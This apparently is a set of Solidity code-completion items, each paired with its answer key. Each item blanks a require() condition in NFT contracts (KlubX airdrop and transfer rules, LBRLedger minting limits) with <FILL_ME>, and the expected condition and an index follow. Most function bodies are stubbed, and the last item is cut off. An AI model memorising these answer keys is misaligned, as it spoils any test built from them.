@notice removes recipient for distributions
@param _index uint
*/
function removeRecipient(uint256 _index) external override onlyOwner {
require(<FILL_ME>)
info[_index].recipient = address(0);
info[_index].rate = 0;
}
/**
@notice set adjustment info for a collector's reward rate
@param _index uint
@param _add bool
@param _rate uint
@param _target uint
*/
function setAdjustment(uint256 _index, bool _add, uint256 _rate, uint256 _target) external override onlyOwner {
}
}
| info[_index].recipient!=address(0),"Recipient does not exist" | 474,263 | info[_index].recipient!=address(0) |
null | // SPDX-License-Identifier: MIT
// BY @0XDAVZER FOR KLUBX. Special Thanks to @SamuelCardillo
// ,--,
// ,--.,---.'|
// ,--/ /|| | : ,---,. ,--, ,--,
// ,---,': / ': : | ,--, ,' .' \|'. \ / .`|
// : : '/ / | ' : ,'_ /|,---.' .' |; \ `\ /' / ;
// | ' , ; ; ' .--. | | :| | |: |`. \ / / .'
// ' | / ' | |__ ,'_ /| : . |: : : / \ \/ / ./
// | ; ; | | :.'|| ' | | . .: | ; \ \.' /
// : ' \ ' : ;| | ' | | || : \ \ ; ;
// | | ' | | ./ : | | : ' ;| | . | / \ \ \
// ' : |. \; : ; | ; ' | | '' : '; | ; /\ \ \
// | | '_\.'| ,/ : | : ; ; || | | ;./__; \ ; \
// ' : | '---' ' : `--' \ : / | : / \ \ ;
// ; |,' : , .-./ | ,' ; |/ \ ' |
// '---' `--`----' `----' `---' `--`
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "https://github.com/ProjectOpenSea/operator-filter-registry/blob/529cceeda9f5f8e28812c20042cc57626f784718/src/DefaultOperatorFilterer.sol";
import "https://github.com/chiru-labs/ERC721A/blob/2342b592d990a7710faf40fe66cfa1ce61dd2339/contracts/ERC721A.sol";
contract KlubX is ERC721A, DefaultOperatorFilterer, Ownable {
string public _baseTokenURI;
uint256 public _totalWhitelist;
uint256 public _itemByWallet = 1;
bool public _canBeTransferred = false;
mapping(address => bool) public _authorizedContracts;
bytes32 public merkleRoot;
mapping (address => bool) _authorizedAirdropper;
constructor(string memory baseTokenURI, uint256 totalWhitelist)
ERC721A("KlubX", "KBX")
{
}
modifier onlyAirdropper() {
require(<FILL_ME>)
_;
}
function isWhitelisted(
address walletAddress,
bytes32[] calldata merkleLeafs
) public view returns (bool) {
}
function airdropToken(
address[] memory whitelisted,
bytes32[][] calldata merkleLeafs
) external onlyAirdropper {
}
// ** OVERRIDE //
function _baseURI() internal view virtual override returns (string memory) {
}
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual override {
}
function numberMinted(address owner) public view returns (uint256) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function isAbleToAirdrop (address userAddress) public view returns (bool) {
}
// OWNER
function setTransferable(bool canBeTransferred) public onlyOwner {
}
function setTotalWhitelist(uint256 totalWhitelist) public onlyOwner {
}
function setMerkleRoot(bytes32 newMerkleRoot) external onlyOwner {
}
function setBaseURI(string memory baseTokenURI) external onlyOwner {
}
function setAuthorizedContract(address contractAddress) public onlyOwner {
}
function setAuthorizedAirdropper(address userAddress) public onlyOwner {
}
// WITHDRAW
function withdrawAll() public payable onlyOwner {
}
/////////////////////////////
// OPENSEA FILTER REGISTRY
/////////////////////////////
function setApprovalForAll(address operator, bool approved)
public
override
onlyAllowedOperatorApproval(operator)
{
}
function approve(address operator, uint256 tokenId)
public
payable
override
onlyAllowedOperatorApproval(operator)
{
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable override onlyAllowedOperator(from) {
}
}
| _authorizedAirdropper[msg.sender] | 474,359 | _authorizedAirdropper[msg.sender] |
"ERC721A-KBX: Max supply has been reached" | // SPDX-License-Identifier: MIT
// BY @0XDAVZER FOR KLUBX. Special Thanks to @SamuelCardillo
// ,--,
// ,--.,---.'|
// ,--/ /|| | : ,---,. ,--, ,--,
// ,---,': / ': : | ,--, ,' .' \|'. \ / .`|
// : : '/ / | ' : ,'_ /|,---.' .' |; \ `\ /' / ;
// | ' , ; ; ' .--. | | :| | |: |`. \ / / .'
// ' | / ' | |__ ,'_ /| : . |: : : / \ \/ / ./
// | ; ; | | :.'|| ' | | . .: | ; \ \.' /
// : ' \ ' : ;| | ' | | || : \ \ ; ;
// | | ' | | ./ : | | : ' ;| | . | / \ \ \
// ' : |. \; : ; | ; ' | | '' : '; | ; /\ \ \
// | | '_\.'| ,/ : | : ; ; || | | ;./__; \ ; \
// ' : | '---' ' : `--' \ : / | : / \ \ ;
// ; |,' : , .-./ | ,' ; |/ \ ' |
// '---' `--`----' `----' `---' `--`
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "https://github.com/ProjectOpenSea/operator-filter-registry/blob/529cceeda9f5f8e28812c20042cc57626f784718/src/DefaultOperatorFilterer.sol";
import "https://github.com/chiru-labs/ERC721A/blob/2342b592d990a7710faf40fe66cfa1ce61dd2339/contracts/ERC721A.sol";
contract KlubX is ERC721A, DefaultOperatorFilterer, Ownable {
string public _baseTokenURI;
uint256 public _totalWhitelist;
uint256 public _itemByWallet = 1;
bool public _canBeTransferred = false;
mapping(address => bool) public _authorizedContracts;
bytes32 public merkleRoot;
mapping (address => bool) _authorizedAirdropper;
constructor(string memory baseTokenURI, uint256 totalWhitelist)
ERC721A("KlubX", "KBX")
{
}
modifier onlyAirdropper() {
}
function isWhitelisted(
address walletAddress,
bytes32[] calldata merkleLeafs
) public view returns (bool) {
}
function airdropToken(
address[] memory whitelisted,
bytes32[][] calldata merkleLeafs
) external onlyAirdropper {
require(<FILL_ME>)
uint256 length = whitelisted.length;
for (uint256 i = 0; i < length; i++) {
require(
isWhitelisted(whitelisted[i], merkleLeafs[i]),
"Address is not whitelisted"
);
require(
numberMinted(whitelisted[i]) + _itemByWallet <= _itemByWallet,
"Item by wallet has been overflown"
);
_safeMint(whitelisted[i], 1);
}
}
// ** OVERRIDE //
function _baseURI() internal view virtual override returns (string memory) {
}
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual override {
}
function numberMinted(address owner) public view returns (uint256) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function isAbleToAirdrop (address userAddress) public view returns (bool) {
}
// OWNER
function setTransferable(bool canBeTransferred) public onlyOwner {
}
function setTotalWhitelist(uint256 totalWhitelist) public onlyOwner {
}
function setMerkleRoot(bytes32 newMerkleRoot) external onlyOwner {
}
function setBaseURI(string memory baseTokenURI) external onlyOwner {
}
function setAuthorizedContract(address contractAddress) public onlyOwner {
}
function setAuthorizedAirdropper(address userAddress) public onlyOwner {
}
// WITHDRAW
function withdrawAll() public payable onlyOwner {
}
/////////////////////////////
// OPENSEA FILTER REGISTRY
/////////////////////////////
function setApprovalForAll(address operator, bool approved)
public
override
onlyAllowedOperatorApproval(operator)
{
}
function approve(address operator, uint256 tokenId)
public
payable
override
onlyAllowedOperatorApproval(operator)
{
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable override onlyAllowedOperator(from) {
}
}
| totalSupply()+1<=_totalWhitelist,"ERC721A-KBX: Max supply has been reached" | 474,359 | totalSupply()+1<=_totalWhitelist |
"Address is not whitelisted" | // SPDX-License-Identifier: MIT
// BY @0XDAVZER FOR KLUBX. Special Thanks to @SamuelCardillo
// ,--,
// ,--.,---.'|
// ,--/ /|| | : ,---,. ,--, ,--,
// ,---,': / ': : | ,--, ,' .' \|'. \ / .`|
// : : '/ / | ' : ,'_ /|,---.' .' |; \ `\ /' / ;
// | ' , ; ; ' .--. | | :| | |: |`. \ / / .'
// ' | / ' | |__ ,'_ /| : . |: : : / \ \/ / ./
// | ; ; | | :.'|| ' | | . .: | ; \ \.' /
// : ' \ ' : ;| | ' | | || : \ \ ; ;
// | | ' | | ./ : | | : ' ;| | . | / \ \ \
// ' : |. \; : ; | ; ' | | '' : '; | ; /\ \ \
// | | '_\.'| ,/ : | : ; ; || | | ;./__; \ ; \
// ' : | '---' ' : `--' \ : / | : / \ \ ;
// ; |,' : , .-./ | ,' ; |/ \ ' |
// '---' `--`----' `----' `---' `--`
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "https://github.com/ProjectOpenSea/operator-filter-registry/blob/529cceeda9f5f8e28812c20042cc57626f784718/src/DefaultOperatorFilterer.sol";
import "https://github.com/chiru-labs/ERC721A/blob/2342b592d990a7710faf40fe66cfa1ce61dd2339/contracts/ERC721A.sol";
contract KlubX is ERC721A, DefaultOperatorFilterer, Ownable {
string public _baseTokenURI;
uint256 public _totalWhitelist;
uint256 public _itemByWallet = 1;
bool public _canBeTransferred = false;
mapping(address => bool) public _authorizedContracts;
bytes32 public merkleRoot;
mapping (address => bool) _authorizedAirdropper;
constructor(string memory baseTokenURI, uint256 totalWhitelist)
ERC721A("KlubX", "KBX")
{
}
modifier onlyAirdropper() {
}
function isWhitelisted(
address walletAddress,
bytes32[] calldata merkleLeafs
) public view returns (bool) {
}
function airdropToken(
address[] memory whitelisted,
bytes32[][] calldata merkleLeafs
) external onlyAirdropper {
require(
totalSupply() + 1 <= _totalWhitelist,
"ERC721A-KBX: Max supply has been reached"
);
uint256 length = whitelisted.length;
for (uint256 i = 0; i < length; i++) {
require(<FILL_ME>)
require(
numberMinted(whitelisted[i]) + _itemByWallet <= _itemByWallet,
"Item by wallet has been overflown"
);
_safeMint(whitelisted[i], 1);
}
}
// ** OVERRIDE //
function _baseURI() internal view virtual override returns (string memory) {
}
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual override {
}
function numberMinted(address owner) public view returns (uint256) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function isAbleToAirdrop (address userAddress) public view returns (bool) {
}
// OWNER
function setTransferable(bool canBeTransferred) public onlyOwner {
}
function setTotalWhitelist(uint256 totalWhitelist) public onlyOwner {
}
function setMerkleRoot(bytes32 newMerkleRoot) external onlyOwner {
}
function setBaseURI(string memory baseTokenURI) external onlyOwner {
}
function setAuthorizedContract(address contractAddress) public onlyOwner {
}
function setAuthorizedAirdropper(address userAddress) public onlyOwner {
}
// WITHDRAW
function withdrawAll() public payable onlyOwner {
}
/////////////////////////////
// OPENSEA FILTER REGISTRY
/////////////////////////////
function setApprovalForAll(address operator, bool approved)
public
override
onlyAllowedOperatorApproval(operator)
{
}
function approve(address operator, uint256 tokenId)
public
payable
override
onlyAllowedOperatorApproval(operator)
{
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable override onlyAllowedOperator(from) {
}
}
| isWhitelisted(whitelisted[i],merkleLeafs[i]),"Address is not whitelisted" | 474,359 | isWhitelisted(whitelisted[i],merkleLeafs[i]) |
"Item by wallet has been overflown" | // SPDX-License-Identifier: MIT
// BY @0XDAVZER FOR KLUBX. Special Thanks to @SamuelCardillo
// ,--,
// ,--.,---.'|
// ,--/ /|| | : ,---,. ,--, ,--,
// ,---,': / ': : | ,--, ,' .' \|'. \ / .`|
// : : '/ / | ' : ,'_ /|,---.' .' |; \ `\ /' / ;
// | ' , ; ; ' .--. | | :| | |: |`. \ / / .'
// ' | / ' | |__ ,'_ /| : . |: : : / \ \/ / ./
// | ; ; | | :.'|| ' | | . .: | ; \ \.' /
// : ' \ ' : ;| | ' | | || : \ \ ; ;
// | | ' | | ./ : | | : ' ;| | . | / \ \ \
// ' : |. \; : ; | ; ' | | '' : '; | ; /\ \ \
// | | '_\.'| ,/ : | : ; ; || | | ;./__; \ ; \
// ' : | '---' ' : `--' \ : / | : / \ \ ;
// ; |,' : , .-./ | ,' ; |/ \ ' |
// '---' `--`----' `----' `---' `--`
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "https://github.com/ProjectOpenSea/operator-filter-registry/blob/529cceeda9f5f8e28812c20042cc57626f784718/src/DefaultOperatorFilterer.sol";
import "https://github.com/chiru-labs/ERC721A/blob/2342b592d990a7710faf40fe66cfa1ce61dd2339/contracts/ERC721A.sol";
contract KlubX is ERC721A, DefaultOperatorFilterer, Ownable {
string public _baseTokenURI;
uint256 public _totalWhitelist;
uint256 public _itemByWallet = 1;
bool public _canBeTransferred = false;
mapping(address => bool) public _authorizedContracts;
bytes32 public merkleRoot;
mapping (address => bool) _authorizedAirdropper;
constructor(string memory baseTokenURI, uint256 totalWhitelist)
ERC721A("KlubX", "KBX")
{
}
modifier onlyAirdropper() {
}
function isWhitelisted(
address walletAddress,
bytes32[] calldata merkleLeafs
) public view returns (bool) {
}
function airdropToken(
address[] memory whitelisted,
bytes32[][] calldata merkleLeafs
) external onlyAirdropper {
require(
totalSupply() + 1 <= _totalWhitelist,
"ERC721A-KBX: Max supply has been reached"
);
uint256 length = whitelisted.length;
for (uint256 i = 0; i < length; i++) {
require(
isWhitelisted(whitelisted[i], merkleLeafs[i]),
"Address is not whitelisted"
);
require(<FILL_ME>)
_safeMint(whitelisted[i], 1);
}
}
// ** OVERRIDE //
function _baseURI() internal view virtual override returns (string memory) {
}
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual override {
}
function numberMinted(address owner) public view returns (uint256) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function isAbleToAirdrop (address userAddress) public view returns (bool) {
}
// OWNER
function setTransferable(bool canBeTransferred) public onlyOwner {
}
function setTotalWhitelist(uint256 totalWhitelist) public onlyOwner {
}
function setMerkleRoot(bytes32 newMerkleRoot) external onlyOwner {
}
function setBaseURI(string memory baseTokenURI) external onlyOwner {
}
function setAuthorizedContract(address contractAddress) public onlyOwner {
}
function setAuthorizedAirdropper(address userAddress) public onlyOwner {
}
// WITHDRAW
function withdrawAll() public payable onlyOwner {
}
/////////////////////////////
// OPENSEA FILTER REGISTRY
/////////////////////////////
function setApprovalForAll(address operator, bool approved)
public
override
onlyAllowedOperatorApproval(operator)
{
}
function approve(address operator, uint256 tokenId)
public
payable
override
onlyAllowedOperatorApproval(operator)
{
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable override onlyAllowedOperator(from) {
}
}
| numberMinted(whitelisted[i])+_itemByWallet<=_itemByWallet,"Item by wallet has been overflown" | 474,359 | numberMinted(whitelisted[i])+_itemByWallet<=_itemByWallet |
"ERC721A-KBX: Non transferable token" | // SPDX-License-Identifier: MIT
// BY @0XDAVZER FOR KLUBX. Special Thanks to @SamuelCardillo
// ,--,
// ,--.,---.'|
// ,--/ /|| | : ,---,. ,--, ,--,
// ,---,': / ': : | ,--, ,' .' \|'. \ / .`|
// : : '/ / | ' : ,'_ /|,---.' .' |; \ `\ /' / ;
// | ' , ; ; ' .--. | | :| | |: |`. \ / / .'
// ' | / ' | |__ ,'_ /| : . |: : : / \ \/ / ./
// | ; ; | | :.'|| ' | | . .: | ; \ \.' /
// : ' \ ' : ;| | ' | | || : \ \ ; ;
// | | ' | | ./ : | | : ' ;| | . | / \ \ \
// ' : |. \; : ; | ; ' | | '' : '; | ; /\ \ \
// | | '_\.'| ,/ : | : ; ; || | | ;./__; \ ; \
// ' : | '---' ' : `--' \ : / | : / \ \ ;
// ; |,' : , .-./ | ,' ; |/ \ ' |
// '---' `--`----' `----' `---' `--`
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "https://github.com/ProjectOpenSea/operator-filter-registry/blob/529cceeda9f5f8e28812c20042cc57626f784718/src/DefaultOperatorFilterer.sol";
import "https://github.com/chiru-labs/ERC721A/blob/2342b592d990a7710faf40fe66cfa1ce61dd2339/contracts/ERC721A.sol";
contract KlubX is ERC721A, DefaultOperatorFilterer, Ownable {
string public _baseTokenURI;
uint256 public _totalWhitelist;
uint256 public _itemByWallet = 1;
bool public _canBeTransferred = false;
mapping(address => bool) public _authorizedContracts;
bytes32 public merkleRoot;
mapping (address => bool) _authorizedAirdropper;
constructor(string memory baseTokenURI, uint256 totalWhitelist)
ERC721A("KlubX", "KBX")
{
}
modifier onlyAirdropper() {
}
function isWhitelisted(
address walletAddress,
bytes32[] calldata merkleLeafs
) public view returns (bool) {
}
function airdropToken(
address[] memory whitelisted,
bytes32[][] calldata merkleLeafs
) external onlyAirdropper {
}
// ** OVERRIDE //
function _baseURI() internal view virtual override returns (string memory) {
}
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual override {
require(<FILL_ME>)
super._beforeTokenTransfers(from, to, startTokenId, quantity);
}
function numberMinted(address owner) public view returns (uint256) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function isAbleToAirdrop (address userAddress) public view returns (bool) {
}
// OWNER
function setTransferable(bool canBeTransferred) public onlyOwner {
}
function setTotalWhitelist(uint256 totalWhitelist) public onlyOwner {
}
function setMerkleRoot(bytes32 newMerkleRoot) external onlyOwner {
}
function setBaseURI(string memory baseTokenURI) external onlyOwner {
}
function setAuthorizedContract(address contractAddress) public onlyOwner {
}
function setAuthorizedAirdropper(address userAddress) public onlyOwner {
}
// WITHDRAW
function withdrawAll() public payable onlyOwner {
}
/////////////////////////////
// OPENSEA FILTER REGISTRY
/////////////////////////////
function setApprovalForAll(address operator, bool approved)
public
override
onlyAllowedOperatorApproval(operator)
{
}
function approve(address operator, uint256 tokenId)
public
payable
override
onlyAllowedOperatorApproval(operator)
{
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable override onlyAllowedOperator(from) {
}
}
| _canBeTransferred||_authorizedContracts[from],"ERC721A-KBX: Non transferable token" | 474,359 | _canBeTransferred||_authorizedContracts[from] |
"ERC721A-KLBX : Can't be transferred" | // SPDX-License-Identifier: MIT
// BY @0XDAVZER FOR KLUBX. Special Thanks to @SamuelCardillo
// ,--,
// ,--.,---.'|
// ,--/ /|| | : ,---,. ,--, ,--,
// ,---,': / ': : | ,--, ,' .' \|'. \ / .`|
// : : '/ / | ' : ,'_ /|,---.' .' |; \ `\ /' / ;
// | ' , ; ; ' .--. | | :| | |: |`. \ / / .'
// ' | / ' | |__ ,'_ /| : . |: : : / \ \/ / ./
// | ; ; | | :.'|| ' | | . .: | ; \ \.' /
// : ' \ ' : ;| | ' | | || : \ \ ; ;
// | | ' | | ./ : | | : ' ;| | . | / \ \ \
// ' : |. \; : ; | ; ' | | '' : '; | ; /\ \ \
// | | '_\.'| ,/ : | : ; ; || | | ;./__; \ ; \
// ' : | '---' ' : `--' \ : / | : / \ \ ;
// ; |,' : , .-./ | ,' ; |/ \ ' |
// '---' `--`----' `----' `---' `--`
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "https://github.com/ProjectOpenSea/operator-filter-registry/blob/529cceeda9f5f8e28812c20042cc57626f784718/src/DefaultOperatorFilterer.sol";
import "https://github.com/chiru-labs/ERC721A/blob/2342b592d990a7710faf40fe66cfa1ce61dd2339/contracts/ERC721A.sol";
contract KlubX is ERC721A, DefaultOperatorFilterer, Ownable {
string public _baseTokenURI;
uint256 public _totalWhitelist;
uint256 public _itemByWallet = 1;
bool public _canBeTransferred = false;
mapping(address => bool) public _authorizedContracts;
bytes32 public merkleRoot;
mapping (address => bool) _authorizedAirdropper;
constructor(string memory baseTokenURI, uint256 totalWhitelist)
ERC721A("KlubX", "KBX")
{
}
modifier onlyAirdropper() {
}
function isWhitelisted(
address walletAddress,
bytes32[] calldata merkleLeafs
) public view returns (bool) {
}
function airdropToken(
address[] memory whitelisted,
bytes32[][] calldata merkleLeafs
) external onlyAirdropper {
}
// ** OVERRIDE //
function _baseURI() internal view virtual override returns (string memory) {
}
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual override {
}
function numberMinted(address owner) public view returns (uint256) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function isAbleToAirdrop (address userAddress) public view returns (bool) {
}
// OWNER
function setTransferable(bool canBeTransferred) public onlyOwner {
}
function setTotalWhitelist(uint256 totalWhitelist) public onlyOwner {
}
function setMerkleRoot(bytes32 newMerkleRoot) external onlyOwner {
}
function setBaseURI(string memory baseTokenURI) external onlyOwner {
}
function setAuthorizedContract(address contractAddress) public onlyOwner {
}
function setAuthorizedAirdropper(address userAddress) public onlyOwner {
}
// WITHDRAW
function withdrawAll() public payable onlyOwner {
}
/////////////////////////////
// OPENSEA FILTER REGISTRY
/////////////////////////////
function setApprovalForAll(address operator, bool approved)
public
override
onlyAllowedOperatorApproval(operator)
{
require(<FILL_ME>)
// Additional check on top of OpenSea
super.setApprovalForAll(operator, approved);
}
function approve(address operator, uint256 tokenId)
public
payable
override
onlyAllowedOperatorApproval(operator)
{
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable override onlyAllowedOperator(from) {
}
}
| _canBeTransferred||_authorizedContracts[operator],"ERC721A-KLBX : Can't be transferred" | 474,359 | _canBeTransferred||_authorizedContracts[operator] |
'LBRLedger: New mint exceeds maximum supply' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import './ERC721Enum.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import './PaymentSplitter.sol';
import '@openzeppelin/contracts/utils/Address.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/Counters.sol';
import '../interfaces/ILBRLedger.sol';
/**
* @title LBR Ledger minting contract
* @author Maxwell J. Rux
*/
contract LBRLedger is
ERC721Enum,
Ownable,
ReentrancyGuard,
PaymentSplitter,
ILBRLedger
{
using Counters for Counters.Counter;
using Strings for uint256;
string private _uri;
string private _contractURI;
uint256 private _price = 0.08 ether;
uint256 private constant MAX_SUPPLY = 5000;
uint256 private constant MAX_MULTIMINT = 25;
uint256 private constant MAX_RESERVED_SUPPLY = 250;
// number of NFTs in reserve that have already been minted
Counters.Counter private _reserved;
bool _status = false;
constructor(
string memory __uri,
address[] memory payees,
uint256[] memory shares,
string memory _name,
string memory _symbol
) ERC721M(_name, _symbol) PaymentSplitter(payees, shares) {
}
/**
* @dev Mint an LBR Ledger NFT
* @param numMints Number of mints
*/
function mint(uint256 numMints) external payable override nonReentrant {
require(_status, 'LBRLedger: Sale is paused');
require(
msg.value >= price() * numMints,
'LBRLedger: Not enough ether sent'
);
require(<FILL_ME>)
require(
totalSupply() + numMints <=
MAX_SUPPLY - MAX_RESERVED_SUPPLY + _reserved.current(),
'LBRLedger: New mint exceeds maximum available supply'
);
require(
numMints <= MAX_MULTIMINT,
'LBRLedger: Exceeds max mints per transaction'
);
uint256 tokenIndex = totalSupply();
for (uint256 i = 0; i < numMints; ++i) {
_safeMint(msg.sender, tokenIndex + i);
}
delete tokenIndex;
}
/**
* @dev Mints reserved NFTs to an address other than the sender. Sender must be owner
* @param numMints Number of mints
* @param recipient Recipient of new mints
*/
function mintReservedToAddress(uint256 numMints, address recipient)
external
onlyOwner
{
}
/**
* @dev Mints reserved NFTs to the sender. Sender must be owner
* @param numMints Number of mints
*/
function mintReserved(uint256 numMints) external onlyOwner {
}
/**
* @dev Sets base uri used for tokenURI. Sender must be owner
* @param __uri The new uri to set base uri to
*/
function setBaseURI(string memory __uri) external onlyOwner {
}
/**
* @dev Sets price per mint. Sender must be owner
* @param __price New price
*/
function setPrice(uint256 __price) external onlyOwner {
}
/**
* @dev Changes sale state to opposite of what it was previously. Sender must be owner
*/
function flipSaleState() external onlyOwner {
}
function setContractURI(string memory __contractURI) external onlyOwner {
}
function contractURI() public view override returns (string memory) {
}
function price() public view override returns (uint256) {
}
function reserved() public view override returns (uint256) {
}
function baseURI() public view override returns (string memory) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
}
| totalSupply()+numMints<=MAX_SUPPLY,'LBRLedger: New mint exceeds maximum supply' | 474,543 | totalSupply()+numMints<=MAX_SUPPLY |
'LBRLedger: New mint exceeds maximum available supply' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import './ERC721Enum.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import './PaymentSplitter.sol';
import '@openzeppelin/contracts/utils/Address.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/Counters.sol';
import '../interfaces/ILBRLedger.sol';
/**
* @title LBR Ledger minting contract
* @author Maxwell J. Rux
*/
contract LBRLedger is
ERC721Enum,
Ownable,
ReentrancyGuard,
PaymentSplitter,
ILBRLedger
{
using Counters for Counters.Counter;
using Strings for uint256;
string private _uri;
string private _contractURI;
uint256 private _price = 0.08 ether;
uint256 private constant MAX_SUPPLY = 5000;
uint256 private constant MAX_MULTIMINT = 25;
uint256 private constant MAX_RESERVED_SUPPLY = 250;
// number of NFTs in reserve that have already been minted
Counters.Counter private _reserved;
bool _status = false;
constructor(
string memory __uri,
address[] memory payees,
uint256[] memory shares,
string memory _name,
string memory _symbol
) ERC721M(_name, _symbol) PaymentSplitter(payees, shares) {
}
/**
* @dev Mint an LBR Ledger NFT
* @param numMints Number of mints
*/
function mint(uint256 numMints) external payable override nonReentrant {
require(_status, 'LBRLedger: Sale is paused');
require(
msg.value >= price() * numMints,
'LBRLedger: Not enough ether sent'
);
require(
totalSupply() + numMints <= MAX_SUPPLY,
'LBRLedger: New mint exceeds maximum supply'
);
require(<FILL_ME>)
require(
numMints <= MAX_MULTIMINT,
'LBRLedger: Exceeds max mints per transaction'
);
uint256 tokenIndex = totalSupply();
for (uint256 i = 0; i < numMints; ++i) {
_safeMint(msg.sender, tokenIndex + i);
}
delete tokenIndex;
}
/**
* @dev Mints reserved NFTs to an address other than the sender. Sender must be owner
* @param numMints Number of mints
* @param recipient Recipient of new mints
*/
function mintReservedToAddress(uint256 numMints, address recipient)
external
onlyOwner
{
}
/**
* @dev Mints reserved NFTs to the sender. Sender must be owner
* @param numMints Number of mints
*/
function mintReserved(uint256 numMints) external onlyOwner {
}
/**
* @dev Sets base uri used for tokenURI. Sender must be owner
* @param __uri The new uri to set base uri to
*/
function setBaseURI(string memory __uri) external onlyOwner {
}
/**
* @dev Sets price per mint. Sender must be owner
* @param __price New price
*/
function setPrice(uint256 __price) external onlyOwner {
}
/**
* @dev Changes sale state to opposite of what it was previously. Sender must be owner
*/
function flipSaleState() external onlyOwner {
}
function setContractURI(string memory __contractURI) external onlyOwner {
}
function contractURI() public view override returns (string memory) {
}
function price() public view override returns (uint256) {
}
function reserved() public view override returns (uint256) {
}
function baseURI() public view override returns (string memory) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
}
| totalSupply()+numMints<=MAX_SUPPLY-MAX_RESERVED_SUPPLY+_reserved.current(),'LBRLedger: New mint exceeds maximum available supply' | 474,543 | totalSupply()+numMints<=MAX_SUPPLY-MAX_RESERVED_SUPPLY+_reserved.current() |
'LBRLedger: New mint exceeds reserve supply' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import './ERC721Enum.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import './PaymentSplitter.sol';
import '@openzeppelin/contracts/utils/Address.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/Counters.sol';
import '../interfaces/ILBRLedger.sol';
/**
* @title LBR Ledger minting contract
* @author Maxwell J. Rux
*/
contract LBRLedger is
ERC721Enum,
Ownable,
ReentrancyGuard,
PaymentSplitter,
ILBRLedger
{
using Counters for Counters.Counter;
using Strings for uint256;
string private _uri;
string private _contractURI;
uint256 private _price = 0.08 ether;
uint256 private constant MAX_SUPPLY = 5000;
uint256 private constant MAX_MULTIMINT = 25;
uint256 private constant MAX_RESERVED_SUPPLY = 250;
// number of NFTs in reserve that have already been minted
Counters.Counter private _reserved;
bool _status = false;
constructor(
string memory __uri,
